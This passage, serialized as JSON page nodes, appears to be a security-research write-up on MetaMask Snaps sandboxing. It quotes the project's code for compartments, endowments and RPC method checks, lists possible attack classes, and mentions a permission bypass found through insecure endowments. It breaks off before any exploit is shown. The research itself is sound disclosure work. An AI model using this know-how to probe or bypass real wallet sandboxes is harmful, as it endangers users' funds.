",{"type":24,"tag":2773,"props":43390,"children":43393},{"href":43391,"rel":43392},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L345",[2777],[43394],{"type":29,"value":43001},{"type":24,"tag":137,"props":43396,"children":43398},{"className":41214,"code":43397,"language":41216,"meta":7,"style":7},"const compartment = new Compartment({\n    ...endowments,\n    module: snapModule,\n    exports: snapModule.exports,\n});\n",[43399],{"type":24,"tag":80,"props":43400,"children":43401},{"__ignoreMap":7},[43402,43430,43446,43463,43488],{"type":24,"tag":147,"props":43403,"children":43404},{"class":149,"line":150},[43405,43409,43414,43418,43422,43426],{"type":24,"tag":147,"props":43406,"children":43407},{"style":218},[43408],{"type":29,"value":15276},{"type":24,"tag":147,"props":43410,"children":43411},{"style":247},[43412],{"type":29,"value":43413}," compartment",{"type":24,"tag":147,"props":43415,"children":43416},{"style":241},[43417],{"type":29,"value":651},{"type":24,"tag":147,"props":43419,"children":43420},{"style":218},[43421],{"type":29,"value":37533},{"type":24,"tag":147,"props":43423,"children":43424},{"style":229},[43425],{"type":29,"value":43056},{"type":24,"tag":147,"props":43427,"children":43428},{"style":235},[43429],{"type":29,"value":20752},{"type":24,"tag":147,"props":43431,"children":43432},{"class":149,"line":160},[43433,43438,43442],{"type":24,"tag":147,"props":43434,"children":43435},{"style":241},[43436],{"type":29,"value":43437},"    ...",{"type":24,"tag":147,"props":43439,"children":43440},{"style":247},[43441],{"type":29,"value":43164},{"type":24,"tag":147,"props":43443,"children":43444},{"style":235},[43445],{"type":29,"value":1549},{"type":24,"tag":147,"props":43447,"children":43448},{"class":149,"line":169},[43449,43454,43459],{"type":24,"tag":147,"props":43450,"children":43451},{"style":247},[43452],{"type":29,"value":43453},"    module:",{"type":24,"tag":147,"props":43455,"children":43456},{"style":247},[43457],{"type":29,"value":43458}," snapModule",{"type":24,"tag":147,"props":43460,"children":43461},{"style":235},[43462],{"type":29,"value":1549},{"type":24,"tag":147,"props":43464,"children":43465},{"class":149,"line":178},[43466,43471,43475,43479,43484],{"type":24,"tag":147,"props":43467,"children":43468},{"style":247},[43469],{"type":29,"value":43470},"    exports:",{"type":24,"tag":147,"props":43472,"children":43473},{"style":247},[43474],{"type":29,"value":43458},{"type":24,"tag":147,"props":43476,"children":43477},{"style":235},[43478],{"type":29,"value":87},{"type":24,"tag":147,"props":43480,"children":43481},{"style":247},[43482],{"type":29,"value":43483},"exports",{"type":24,"tag":147,"props":43485,"children":43486},{"style":235},[43487],{"type":29,"value":1549},{"type":24,"tag":147,"props":43489,"children":43490},{"class":149,"line":187},[43491],{"type":24,"tag":147,"props":43492,"children":43493},{"style":235},[43494],{"type":29,"value":40938},{"type":24,"tag":25,"props":43496,"children":43497},{},[43498,43500,43506,43507,43512,43514,43519],{"type":29,"value":43499},"Note: ",{"type":24,"tag":80,"props":43501,"children":43503},{"className":43502},[],[43504],{"type":29,"value":43505},"module",{"type":29,"value":855},{"type":24,"tag":80,"props":43508,"children":43510},{"className":43509},[],[43511],{"type":29,"value":43483},{"type":29,"value":43513}," are passed as endowments, but without being ",{"type":24,"tag":8545,"props":43515,"children":43516},{},[43517],{"type":29,"value":43518},"hardened",{"type":29,"value":43520},". This is intentional, as the snap needs to export functions to be correctly executed.",{"type":24,"tag":2674,"props":43522,"children":43523},{"start":169},[43524],{"type":24,"tag":2678,"props":43525,"children":43526},{},[43527],{"type":24,"tag":10949,"props":43528,"children":43529},{},[43530,43532],{"type":29,"value":43531},"Evaluate the snap code inside the ",{"type":24,"tag":2773,"props":43533,"children":43536},{"href":43534,"rel":43535},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L359",[2777],[43537],{"type":29,"value":43001},{"type":24,"tag":137,"props":43539,"children":43541},{"className":41214,"code":43540,"language":41216,"meta":7,"style":7},"await this.executeInSnapContext(snapId, () => {\n    compartment.evaluate(sourceCode);\n    this.registerSnapExports(snapId, snapModule);\n});\n",[43542],{"type":24,"tag":80,"props":43543,"children":43544},{"__ignoreMap":7},[43545,43586,43616,43653],{"type":24,"tag":147,"props":43546,"children":43547},{"class":149,"line":150},[43548,43552,43556,43560,43565,43569,43573,43578,43582],{"type":24,"tag":147,"props":43549,"children":43550},{"style":321},[43551],{"type":29,"value":38517},{"type":24,"tag":147,"props":43553,"children":43554},{"style":218},[43555],{"type":29,"value":41317},{"type":24,"tag":147,"props":43557,"children":43558},{"style":235},[43559],{"type":29,"value":87},{"type":24,"tag":147,"props":43561,"children":43562},{"style":229},[43563],{"type":29,"value":43564},"executeInSnapContext",{"type":24,"tag":147,"props":43566,"children":43567},{"style":235},[43568],{"type":29,"value":480},{"type":24,"tag":147,"props":43570,"children":43571},{"style":247},[43572],{"type":29,"value":41621},{"type":24,"tag":147,"props":43574,"children":43575},{"style":235},[43576],{"type":29,"value":43577},", () ",{"type":24,"tag":147,"props":43579,"children":43580},{"style":218},[43581],{"type":29,"value":20435},{"type":24,"tag":147,"props":43583,"children":43584},{"style":235},[43585],{"type":29,"value":6630},{"type":24,"tag":147,"props":43587,"children":43588},{"class":149,"line":160},[43589,43594,43598,43603,43607,43612],{"type":24,"tag":147,"props":43590,"children":43591},{"style":247},[43592],{"type":29,"value":43593},"    compartment",{"type":24,"tag":147,"props":43595,"children":43596},{"style":235},[43597],{"type":29,"value":87},{"type":24,"tag":147,"props":43599,"children":43600},{"style":229},[43601],{"type":29,"value":43602},"evaluate",{"type":24,"tag":147,"props":43604,"children":43605},{"style":235},[43606],{"type":29,"value":480},{"type":24,"tag":147,"props":43608,"children":43609},{"style":247},[43610],{"type":29,"value":43611},"sourceCode",{"type":24,"tag":147,"props":43613,"children":43614},{"style":235},[43615],{"type":29,"value":1473},{"type":24,"tag":147,"props":43617,"children":43618},{"class":149,"line":169},[43619,43623,43627,43632,43636,43640,43644,43649],{"type":24,"tag":147,"props":43620,"children":43621},{"style":218},[43622],{"type":29,"value":41665},{"type":24,"tag":147,"props":43624,"children":43625},{"style":235},[43626],{"type":29,"value":87},{"type":24,"tag":147,"props":43628,"children":43629},{"style":229},[43630],{"type":29,"value":43631},"registerSnapExports",{"type":24,"tag":147,"props":43633,"children":43634},{"style":235},[43635],{"type":29,"value":480},{"type":24,"tag":147,"props":43637,"children":43638},{"style":247},[43639],{"type":29,"value":41621},{"type":24,"tag":147,"props":43641,"children":43642},{"style":235},[43643],{"type":29,"value":546},{"type":24,"tag":147,"props":43645,"children":43646},{"style":247},[43647],{"type":29,"value":43648},"snapModule",{"type":24,"tag":147,"props":43650,"children":43651},{"style":235},[43652],{"type":29,"value":1473},{"type":24,"tag":147,"props":43654,"children":43655},{"class":149,"line":178},[43656],{"type":24,"tag":147,"props":43657,"children":43658},{"style":235},[43659],{"type":29,"value":40938},{"type":24,"tag":25,"props":43661,"children":43662},{},[43663,43665,43671,43672,43678,43679,43685],{"type":29,"value":43664},"According to the documentation, the snap must contain one of the following function exports: ",{"type":24,"tag":80,"props":43666,"children":43668},{"className":43667},[],[43669],{"type":29,"value":43670},"onRpcRequest",{"type":29,"value":546},{"type":24,"tag":80,"props":43673,"children":43675},{"className":43674},[],[43676],{"type":29,"value":43677},"onTransaction",{"type":29,"value":18751},{"type":24,"tag":80,"props":43680,"children":43682},{"className":43681},[],[43683],{"type":29,"value":43684},"onCronjob",{"type":29,"value":87},{"type":24,"tag":25,"props":43687,"children":43688},{},[43689,43691,43696],{"type":29,"value":43690},"Once the Compartment creates these functions, no matter where they are executed, they will always be evaluated within the sandboxed ",{"type":24,"tag":80,"props":43692,"children":43694},{"className":43693},[],[43695],{"type":29,"value":43015},{"type":29,"value":43697}," environment of that Compartment.",{"type":24,"tag":25,"props":43699,"children":43700},{},[43701],{"type":29,"value":43702},"After the evaluation, the function exports are registered and executed later when the respective event is emmited.",{"type":24,"tag":32,"props":43704,"children":43706},{"id":43705},"vulnerability-research",[43707],{"type":29,"value":43708},"Vulnerability research",{"type":24,"tag":43,"props":43710,"children":43712},{"id":43711},"possible-attacks",[43713],{"type":29,"value":43714},"Possible attacks",{"type":24,"tag":25,"props":43716,"children":43717},{},[43718],{"type":29,"value":43719},"While searching for vulnerabilities in snap environments, we enumerated some features that can be broken, and lead to security issues, such as:",{"type":24,"tag":22292,"props":43721,"children":43722},{},[43723,43728,43733,43738],{"type":24,"tag":2678,"props":43724,"children":43725},{},[43726],{"type":29,"value":43727},"Broken SES Container isolation",{"type":24,"tag":2678,"props":43729,"children":43730},{},[43731],{"type":29,"value":43732},"Insecure endowments in Containers",{"type":24,"tag":2678,"props":43734,"children":43735},{},[43736],{"type":29,"value":43737},"Incorrect RPC permission checks",{"type":24,"tag":2678,"props":43739,"children":43740},{},[43741],{"type":29,"value":43742},"Insecure snap installation/update",{"type":24,"tag":25,"props":43744,"children":43745},{},[43746],{"type":29,"value":43747},"We went through all of these vulnerabilities assumptions, and found a minor permission bypass bug using insecure endowments.",{"type":24,"tag":25,"props":43749,"children":43750},{},[43751],{"type":29,"value":43752},"To understand the exploit, we need to dig into the snap's RPC interfaces exposed via endowments.",{"type":24,"tag":43,"props":43754,"children":43756},{"id":43755},"rpc-interfaces-endowments",[43757],{"type":29,"value":43758},"RPC interfaces endowments",{"type":24,"tag":112,"props":43760,"children":43762},{"id":43761},"providers-limitations",[43763],{"type":29,"value":43764},"Providers limitations",{"type":24,"tag":25,"props":43766,"children":43767},{},[43768,43770,43776,43777,43782,43784,43791],{"type":29,"value":43769},"A snap has two interfaces that can be used to communicate with metamask RPC interface: ",{"type":24,"tag":80,"props":43771,"children":43773},{"className":43772},[],[43774],{"type":29,"value":43775},"snap",{"type":29,"value":855},{"type":24,"tag":80,"props":43778,"children":43780},{"className":43779},[],[43781],{"type":29,"value":37017},{"type":29,"value":43783}," (EIP-1193). These differ in that each one can only send a subset of the available RPC ",{"type":24,"tag":2773,"props":43785,"children":43788},{"href":43786,"rel":43787},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/utils.ts#L130",[2777],[43789],{"type":29,"value":43790},"methods",{"type":29,"value":978},{"type":24,"tag":137,"props":43793,"children":43795},{"className":41214,"code":43794,"language":41216,"meta":7,"style":7},"export function assertSnapOutboundRequest(args: RequestArguments) {\n  // Disallow any non `wallet_` or `snap_` methods for separation of concerns.\n  assert(\n    String.prototype.startsWith.call(args.method, 'wallet_') ||\n      String.prototype.startsWith.call(args.method, 'snap_'),\n    'The global Snap API only allows RPC methods starting with `wallet_*` and `snap_*`.',\n  );\n  assert(\n    !BLOCKED_RPC_METHODS.includes(args.method),\n    ethErrors.rpc.methodNotFound({\n      data: {\n        method: args.method,\n      },\n    }),\n  );\n  assertStruct(args, JsonStruct, 'Provided value is not JSON-RPC compatible');\n}\n",[43796],{"type":24,"tag":80,"props":43797,"children":43798},{"__ignoreMap":7},[43799,43839,43847,43859,43929,43990,44002,44010,44021,44061,44091,44103,44128,44135,44143,44150,44188],{"type":24,"tag":147,"props":43800,"children":43801},{"class":149,"line":150},[43802,43807,43812,43817,43821,43826,43830,43835],{"type":24,"tag":147,"props":43803,"children":43804},{"style":321},[43805],{"type":29,"value":43806},"export",{"type":24,"tag":147,"props":43808,"children":43809},{"style":218},[43810],{"type":29,"value":43811}," function",{"type":24,"tag":147,"props":43813,"children":43814},{"style":229},[43815],{"type":29,"value":43816}," assertSnapOutboundRequest",{"type":24,"tag":147,"props":43818,"children":43819},{"style":235},[43820],{"type":29,"value":480},{"type":24,"tag":147,"props":43822,"children":43823},{"style":247},[43824],{"type":29,"value":43825},"args",{"type":24,"tag":147,"props":43827,"children":43828},{"style":241},[43829],{"type":29,"value":978},{"type":24,"tag":147,"props":43831,"children":43832},{"style":9044},[43833],{"type":29,"value":43834}," RequestArguments",{"type":24,"tag":147,"props":43836,"children":43837},{"style":235},[43838],{"type":29,"value":505},{"type":24,"tag":147,"props":43840,"children":43841},{"class":149,"line":160},[43842],{"type":24,"tag":147,"props":43843,"children":43844},{"style":154},[43845],{"type":29,"value":43846},"  // Disallow any non `wallet_` or `snap_` methods for separation of concerns.\n",{"type":24,"tag":147,"props":43848,"children":43849},{"class":149,"line":169},[43850,43855],{"type":24,"tag":147,"props":43851,"children":43852},{"style":229},[43853],{"type":29,"value":43854},"  assert",{"type":24,"tag":147,"props":43856,"children":43857},{"style":235},[43858],{"type":29,"value":9088},{"type":24,"tag":147,"props":43860,"children":43861},{"class":149,"line":178},[43862,43867,43871,43876,43880,43885,43889,43894,43898,43902,43906,43911,43915,43920,43924],{"type":24,"tag":147,"props":43863,"children":43864},{"style":9044},[43865],{"type":29,"value":43866},"    String",{"type":24,"tag":147,"props":43868,"children":43869},{"style":235},[43870],{"type":29,"value":87},{"type":24,"tag":147,"props":43872,"children":43873},{"style":247},[43874],{"type":29,"value":43875},"prototype",{"type":24,"tag":147,"props":43877,"children":43878},{"style":235},[43879],{"type":29,"value":87},{"type":24,"tag":147,"props":43881,"children":43882},{"style":247},[43883],{"type":29,"value":43884},"startsWith",{"type":24,"tag":147,"props":43886,"children":43887},{"style":235},[43888],{"type":29,"value":87},{"type":24,"tag":147,"props":43890,"children":43891},{"style":229},[43892],{"type":29,"value":43893},"call",{"type":24,"tag":147,"props":43895,"children":43896},{"style":235},[43897],{"type":29,"value":480},{"type":24,"tag":147,"props":43899,"children":43900},{"style":247},[43901],{"type":29,"value":43825},{"type":24,"tag":147,"props":43903,"children":43904},{"style":235},[43905],{"type":29,"value":87},{"type":24,"tag":147,"props":43907,"children":43908},{"style":247},[43909],{"type":29,"value":43910},"method",{"type":24,"tag":147,"props":43912,"children":43913},{"style":235},[43914],{"type":29,"value":546},{"type":24,"tag":147,"props":43916,"children":43917},{"style":3534},[43918],{"type":29,"value":43919},"'wallet_'",{"type":24,"tag":147,"props":43921,"children":43922},{"style":235},[43923],{"type":29,"value":564},{"type":24,"tag":147,"props":43925,"children":43926},{"style":241},[43927],{"type":29,"value":43928},"||\n",{"type":24,"tag":147,"props":43930,"children":43931},{"class":149,"line":187},[43932,43937,43941,43945,43949,43953,43957,43961,43965,43969,43973,43977,43981,43986],{"type":24,"tag":147,"props":43933,"children":43934},{"style":9044},[43935],{"type":29,"value":43936},"      String",{"type":24,"tag":147,"props":43938,"children":43939},{"style":235},[43940],{"type":29,"value":87},{"type":24,"tag":147,"props":43942,"children":43943},{"style":247},[43944],{"type":29,"value":43875},{"type":24,"tag":147,"props":43946,"children":43947},{"style":235},[43948],{"type":29,"value":87},{"type":24,"tag":147,"props":43950,"children":43951},{"style":247},[43952],{"type":29,"value":43884},{"type":24,"tag":147,"props":43954,"children":43955},{"style":235},[43956],{"type":29,"value":87},{"type":24,"tag":147,"props":43958,"children":43959},{"style":229},[43960],{"type":29,"value":43893},{"type":24,"tag":147,"props":43962,"children":43963},{"style":235},[43964],{"type":29,"value":480},{"type":24,"tag":147,"props":43966,"children":43967},{"style":247},[43968],{"type":29,"value":43825},{"type":24,"tag":147,"props":43970,"children":43971},{"style":235},[43972],{"type":29,"value":87},{"type":24,"tag":147,"props":43974,"children":43975},{"style":247},[43976],{"type":29,"value":43910},{"type":24,"tag":147,"props":43978,"children":43979},{"style":235},[43980],{"type":29,"value":546},{"type":24,"tag":147,"props":43982,"children":43983},{"style":3534},[43984],{"type":29,"value":43985},"'snap_'",{"type":24,"tag":147,"props":43987,"children":43988},{"style":235},[43989],{"type":29,"value":12362},{"type":24,"tag":147,"props":43991,"children":43992},{"class":149,"line":196},[43993,43998],{"type":24,"tag":147,"props":43994,"children":43995},{"style":3534},[43996],{"type":29,"value":43997},"    'The global Snap API only allows RPC methods starting with `wallet_*` and `snap_*`.'",{"type":24,"tag":147,"props":43999,"children":44000},{"style":235},[44001],{"type":29,"value":1549},{"type":24,"tag":147,"props":44003,"children":44004},{"class":149,"line":205},[44005],{"type":24,"tag":147,"props":44006,"children":44007},{"style":235},[44008],{"type":29,"value":44009},"  );\n",{"type":24,"tag":147,"props":44011,"children":44012},{"class":149,"line":214},[44013,44017],{"type":24,"tag":147,"props":44014,"children":44015},{"style":229},[44016],{"type":29,"value":43854},{"type":24,"tag":147,"props":44018,"children":44019},{"style":235},[44020],{"type":29,"value":9088},{"type":24,"tag":147,"props":44022,"children":44023},{"class":149,"line":272},[44024,44028,44033,44037,44041,44045,44049,44053,44057],{"type":24,"tag":147,"props":44025,"children":44026},{"style":241},[44027],{"type":29,"value":26572},{"type":24,"tag":147,"props":44029,"children":44030},{"style":247},[44031],{"type":29,"value":44032},"BLOCKED_RPC_METHODS",{"type":24,"tag":147,"props":44034,"children":44035},{"style":235},[44036],{"type":29,"value":87},{"type":24,"tag":147,"props":44038,"children":44039},{"style":229},[44040],{"type":29,"value":40782},{"type":24,"tag":147,"props":44042,"children":44043},{"style":235},[44044],{"type":29,"value":480},{"type":24,"tag":147,"props":44046,"children":44047},{"style":247},[44048],{"type":29,"value":43825},{"type":24,"tag":147,"props":44050,"children":44051},{"style":235},[44052],{"type":29,"value":87},{"type":24,"tag":147,"props":44054,"children":44055},{"style":247},[44056],{"type":29,"value":43910},{"type":24,"tag":147,"props":44058,"children":44059},{"style":235},[44060],{"type":29,"value":12362},{"type":24,"tag":147,"props":44062,"children":44063},{"class":149,"line":281},[44064,44069,44073,44078,44082,44087],{"type":24,"tag":147,"props":44065,"children":44066},{"style":247},[44067],{"type":29,"value":44068},"    ethErrors",{"type":24,"tag":147,"props":44070,"children":44071},{"style":235},[44072],{"type":29,"value":87},{"type":24,"tag":147,"props":44074,"children":44075},{"style":247},[44076],{"type":29,"value":44077},"rpc",{"type":24,"tag":147,"props":44079,"children":44080},{"style":235},[44081],{"type":29,"value":87},{"type":24,"tag":147,"props":44083,"children":44084},{"style":229},[44085],{"type":29,"value":44086},"methodNotFound",{"type":24,"tag":147,"props":44088,"children":44089},{"style":235},[44090],{"type":29,"value":20752},{"type":24,"tag":147,"props":44092,"children":44093},{"class":149,"line":299},[44094,44099],{"type":24,"tag":147,"props":44095,"children":44096},{"style":247},[44097],{"type":29,"value":44098},"      data:",{"type":24,"tag":147,"props":44100,"children":44101},{"style":235},[44102],{"type":29,"value":6630},{"type":24,"tag":147,"props":44104,"children":44105},{"class":149,"line":308},[44106,44111,44116,44120,44124],{"type":24,"tag":147,"props":44107,"children":44108},{"style":247},[44109],{"type":29,"value":44110},"        method:",{"type":24,"tag":147,"props":44112,"children":44113},{"style":247},[44114],{"type":29,"value":44115}," args",{"type":24,"tag":147,"props":44117,"children":44118},{"style":235},[44119],{"type":29,"value":87},{"type":24,"tag":147,"props":44121,"children":44122},{"style":247},[44123],{"type":29,"value":43910},{"type":24,"tag":147,"props":44125,"children":44126},{"style":235},[44127],{"type":29,"value":1549},{"type":24,"tag":147,"props":44129,"children":44130},{"class":149,"line":317},[44131],{"type":24,"tag":147,"props":44132,"children":44133},{"style":235},[44134],{"type":29,"value":42798},{"type":24,"tag":147,"props":44136,"children":44137},{"class":149,"line":332},[44138],{"type":24,"tag":147,"props":44139,"children":44140},{"style":235},[44141],{"type":29,"value":44142},"    }),\n",{"type":24,"tag":147,"props":44144,"children":44145},{"class":149,"line":350},[44146],{"type":24,"tag":147,"props":44147,"children":44148},{"style":235},[44149],{"type":29,"value":44009},{"type":24,"tag":147,"props":44151,"children":44152},{"class":149,"line":358},[44153,44158,44162,44166,44170,44175,44179,44184],{"type":24,"tag":147,"props":44154,"children":44155},{"style":229},[44156],{"type":29,"value":44157},"  assertStruct",{"type":24,"tag":147,"props":44159,"children":44160},{"style":235},[44161],{"type":29,"value":480},{"type":24,"tag":147,"props":44163,"children":44164},{"style":247},[44165],{"type":29,"value":43825},{"type":24,"tag":147,"props":44167,"children":44168},{"style":235},[44169],{"type":29,"value":546},{"type":24,"tag":147,"props":44171,"children":44172},{"style":247},[44173],{"type":29,"value":44174},"JsonStruct",{"type":24,"tag":147,"props":44176,"children":44177},{"style":235},[44178],{"type":29,"value":546},{"type":24,"tag":147,"props":44180,"children":44181},{"style":3534},[44182],{"type":29,"value":44183},"'Provided value is not JSON-RPC compatible'",{"type":24,"tag":147,"props":44185,"children":44186},{"style":235},[44187],{"type":29,"value":1473},{"type":24,"tag":147,"props":44189,"children":44190},{"class":149,"line":397},[44191],{"type":24,"tag":147,"props":44192,"children":44193},{"style":235},[44194],{"type":29,"value":827},{"type":24,"tag":25,"props":44196,"children":44197},{},[44198,44200,44205,44207,44213,44214,44220],{"type":29,"value":44199},"This function is called by the ",{"type":24,"tag":80,"props":44201,"children":44203},{"className":44202},[],[44204],{"type":29,"value":43775},{"type":29,"value":44206}," RPC provider, so it can only send methods starting with ",{"type":24,"tag":80,"props":44208,"children":44210},{"className":44209},[],[44211],{"type":29,"value":44212},"wallet_",{"type":29,"value":18751},{"type":24,"tag":80,"props":44215,"children":44217},{"className":44216},[],[44218],{"type":29,"value":44219},"snap_",{"type":29,"value":44221},". In addition, there are some blocked RPC methods that immediately throw an error when encountered.",{"type":24,"tag":25,"props":44223,"children":44224},{},[44225,44227,44232,44234,44239,44241,44247],{"type":29,"value":44226},"On the other hand, the ",{"type":24,"tag":80,"props":44228,"children":44230},{"className":44229},[],[44231],{"type":29,"value":37017},{"type":29,"value":44233}," provider only blocks methods starting with ",{"type":24,"tag":80,"props":44235,"children":44237},{"className":44236},[],[44238],{"type":29,"value":44219},{"type":29,"value":44240}," and the blocked methods. However, it requires the ",{"type":24,"tag":80,"props":44242,"children":44244},{"className":44243},[],[44245],{"type":29,"value":44246},"endowment:ethereum-provider",{"type":29,"value":44248}," permission in the snap manifest.",{"type":24,"tag":112,"props":44250,"children":44252},{"id":44251},"execution-flow",[44253],{"type":29,"value":44254},"Execution flow",{"type":24,"tag":25,"props":44256,"children":44257},{},[44258,44260,44265,44266,44271,44273,44278,44279,44285],{"type":29,"value":44259},"Both providers (",{"type":24,"tag":80,"props":44261,"children":44263},{"className":44262},[],[44264],{"type":29,"value":43775},{"type":29,"value":855},{"type":24,"tag":80,"props":44267,"children":44269},{"className":44268},[],[44270],{"type":29,"value":37017},{"type":29,"value":44272},") are built outside the SES container with a ",{"type":24,"tag":80,"props":44274,"children":44276},{"className":44275},[],[44277],{"type":29,"value":37093},{"type":29,"value":12083},{"type":24,"tag":2773,"props":44280,"children":44283},{"href":44281,"rel":44282},"https://github.com/MetaMask/snaps/blob/main/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L437",[2777],[44284],{"type":29,"value":36978},{"type":29,"value":978},{"type":24,"tag":137,"props":44287,"children":44289},{"className":41531,"code":44288,"language":41533,"meta":7,"style":7},"  const request = async (args: RequestArguments) => {\n      assertSnapOutboundRequest(args); // or assertEthereumOutboundRequest(args);\n      const sanitizedArgs = getSafeJson(args);\n      this.notify({ method: 'OutboundRequest' });\n      try {\n        return await withTeardown(\n          originalRequest(sanitizedArgs as unknown as RequestArguments),\n          this as any,\n        );\n      } finally {\n        this.notify({ method: 'OutboundResponse' });\n      }\n    };\n",[44290],{"type":24,"tag":80,"props":44291,"children":44292},{"__ignoreMap":7},[44293,44340,44365,44398,44433,44445,44465,44503,44523,44530,44547,44580,44587],{"type":24,"tag":147,"props":44294,"children":44295},{"class":149,"line":150},[44296,44300,44304,44308,44312,44316,44320,44324,44328,44332,44336],{"type":24,"tag":147,"props":44297,"children":44298},{"style":218},[44299],{"type":29,"value":41789},{"type":24,"tag":147,"props":44301,"children":44302},{"style":229},[44303],{"type":29,"value":36983},{"type":24,"tag":147,"props":44305,"children":44306},{"style":241},[44307],{"type":29,"value":651},{"type":24,"tag":147,"props":44309,"children":44310},{"style":218},[44311],{"type":29,"value":41965},{"type":24,"tag":147,"props":44313,"children":44314},{"style":235},[44315],{"type":29,"value":408},{"type":24,"tag":147,"props":44317,"children":44318},{"style":247},[44319],{"type":29,"value":43825},{"type":24,"tag":147,"props":44321,"children":44322},{"style":241},[44323],{"type":29,"value":978},{"type":24,"tag":147,"props":44325,"children":44326},{"style":9044},[44327],{"type":29,"value":43834},{"type":24,"tag":147,"props":44329,"children":44330},{"style":235},[44331],{"type":29,"value":564},{"type":24,"tag":147,"props":44333,"children":44334},{"style":218},[44335],{"type":29,"value":20435},{"type":24,"tag":147,"props":44337,"children":44338},{"style":235},[44339],{"type":29,"value":6630},{"type":24,"tag":147,"props":44341,"children":44342},{"class":149,"line":160},[44343,44348,44352,44356,44360],{"type":24,"tag":147,"props":44344,"children":44345},{"style":229},[44346],{"type":29,"value":44347},"      assertSnapOutboundRequest",{"type":24,"tag":147,"props":44349,"children":44350},{"style":235},[44351],{"type":29,"value":480},{"type":24,"tag":147,"props":44353,"children":44354},{"style":247},[44355],{"type":29,"value":43825},{"type":24,"tag":147,"props":44357,"children":44358},{"style":235},[44359],{"type":29,"value":33955},{"type":24,"tag":147,"props":44361,"children":44362},{"style":154},[44363],{"type":29,"value":44364},"// or assertEthereumOutboundRequest(args);\n",{"type":24,"tag":147,"props":44366,"children":44367},{"class":149,"line":169},[44368,44372,44377,44381,44386,44390,44394],{"type":24,"tag":147,"props":44369,"children":44370},{"style":218},[44371],{"type":29,"value":37147},{"type":24,"tag":147,"props":44373,"children":44374},{"style":247},[44375],{"type":29,"value":44376}," sanitizedArgs",{"type":24,"tag":147,"props":44378,"children":44379},{"style":241},[44380],{"type":29,"value":651},{"type":24,"tag":147,"props":44382,"children":44383},{"style":229},[44384],{"type":29,"value":44385}," getSafeJson",{"type":24,"tag":147,"props":44387,"children":44388},{"style":235},[44389],{"type":29,"value":480},{"type":24,"tag":147,"props":44391,"children":44392},{"style":247},[44393],{"type":29,"value":43825},{"type":24,"tag":147,"props":44395,"children":44396},{"style":235},[44397],{"type":29,"value":1473},{"type":24,"tag":147,"props":44399,"children":44400},{"class":149,"line":178},[44401,44406,44410,44415,44419,44423,44428],{"type":24,"tag":147,"props":44402,"children":44403},{"style":218},[44404],{"type":29,"value":44405},"      this",{"type":24,"tag":147,"props":44407,"children":44408},{"style":235},[44409],{"type":29,"value":87},{"type":24,"tag":147,"props":44411,"children":44412},{"style":229},[44413],{"type":29,"value":44414},"notify",{"type":24,"tag":147,"props":44416,"children":44417},{"style":235},[44418],{"type":29,"value":37098},{"type":24,"tag":147,"props":44420,"children":44421},{"style":247},[44422],{"type":29,"value":37103},{"type":24,"tag":147,"props":44424,"children":44425},{"style":3534},[44426],{"type":29,"value":44427}," 'OutboundRequest'",{"type":24,"tag":147,"props":44429,"children":44430},{"style":235},[44431],{"type":29,"value":44432}," });\n",{"type":24,"tag":147,"props":44434,"children":44435},{"class":149,"line":187},[44436,44441],{"type":24,"tag":147,"props":44437,"children":44438},{"style":321},[44439],{"type":29,"value":44440},"      try",{"type":24,"tag":147,"props":44442,"children":44443},{"style":235},[44444],{"type":29,"value":6630},{"type":24,"tag":147,"props":44446,"children":44447},{"class":149,"line":196},[44448,44452,44456,44461],{"type":24,"tag":147,"props":44449,"children":44450},{"style":321},[44451],{"type":29,"value":7020},{"type":24,"tag":147,"props":44453,"children":44454},{"style":321},[44455],{"type":29,"value":41812},{"type":24,"tag":147,"props":44457,"children":44458},{"style":229},[44459],{"type":29,"value":44460}," withTeardown",{"type":24,"tag":147,"props":44462,"children":44463},{"style":235},[44464],{"type":29,"value":9088},{"type":24,"tag":147,"props":44466,"children":44467},{"class":149,"line":205},[44468,44473,44477,44482,44486,44491,44495,44499],{"type":24,"tag":147,"props":44469,"children":44470},{"style":229},[44471],{"type":29,"value":44472},"          originalRequest",{"type":24,"tag":147,"props":44474,"children":44475},{"style":235},[44476],{"type":29,"value":480},{"type":24,"tag":147,"props":44478,"children":44479},{"style":247},[44480],{"type":29,"value":44481},"sanitizedArgs",{"type":24,"tag":147,"props":44483,"children":44484},{"style":321},[44485],{"type":29,"value":14453},{"type":24,"tag":147,"props":44487,"children":44488},{"style":9044},[44489],{"type":29,"value":44490}," unknown",{"type":24,"tag":147,"props":44492,"children":44493},{"style":321},[44494],{"type":29,"value":14453},{"type":24,"tag":147,"props":44496,"children":44497},{"style":9044},[44498],{"type":29,"value":43834},{"type":24,"tag":147,"props":44500,"children":44501},{"style":235},[44502],{"type":29,"value":12362},{"type":24,"tag":147,"props":44504,"children":44505},{"class":149,"line":214},[44506,44511,44515,44519],{"type":24,"tag":147,"props":44507,"children":44508},{"style":218},[44509],{"type":29,"value":44510},"          this",{"type":24,"tag":147,"props":44512,"children":44513},{"style":321},[44514],{"type":29,"value":14453},{"type":24,"tag":147,"props":44516,"children":44517},{"style":9044},[44518],{"type":29,"value":15979},{"type":24,"tag":147,"props":44520,"children":44521},{"style":235},[44522],{"type":29,"value":1549},{"type":24,"tag":147,"props":44524,"children":44525},{"class":149,"line":272},[44526],{"type":24,"tag":147,"props":44527,"children":44528},{"style":235},[44529],{"type":29,"value":13369},{"type":24,"tag":147,"props":44531,"children":44532},{"class":149,"line":281},[44533,44538,44543],{"type":24,"tag":147,"props":44534,"children":44535},{"style":235},[44536],{"type":29,"value":44537},"      } ",{"type":24,"tag":147,"props":44539,"children":44540},{"style":321},[44541],{"type":29,"value":44542},"finally",{"type":24,"tag":147,"props":44544,"children":44545},{"style":235},[44546],{"type":29,"value":6630},{"type":24,"tag":147,"props":44548,"children":44549},{"class":149,"line":299},[44550,44555,44559,44563,44567,44571,44576],{"type":24,"tag":147,"props":44551,"children":44552},{"style":218},[44553],{"type":29,"value":44554},"        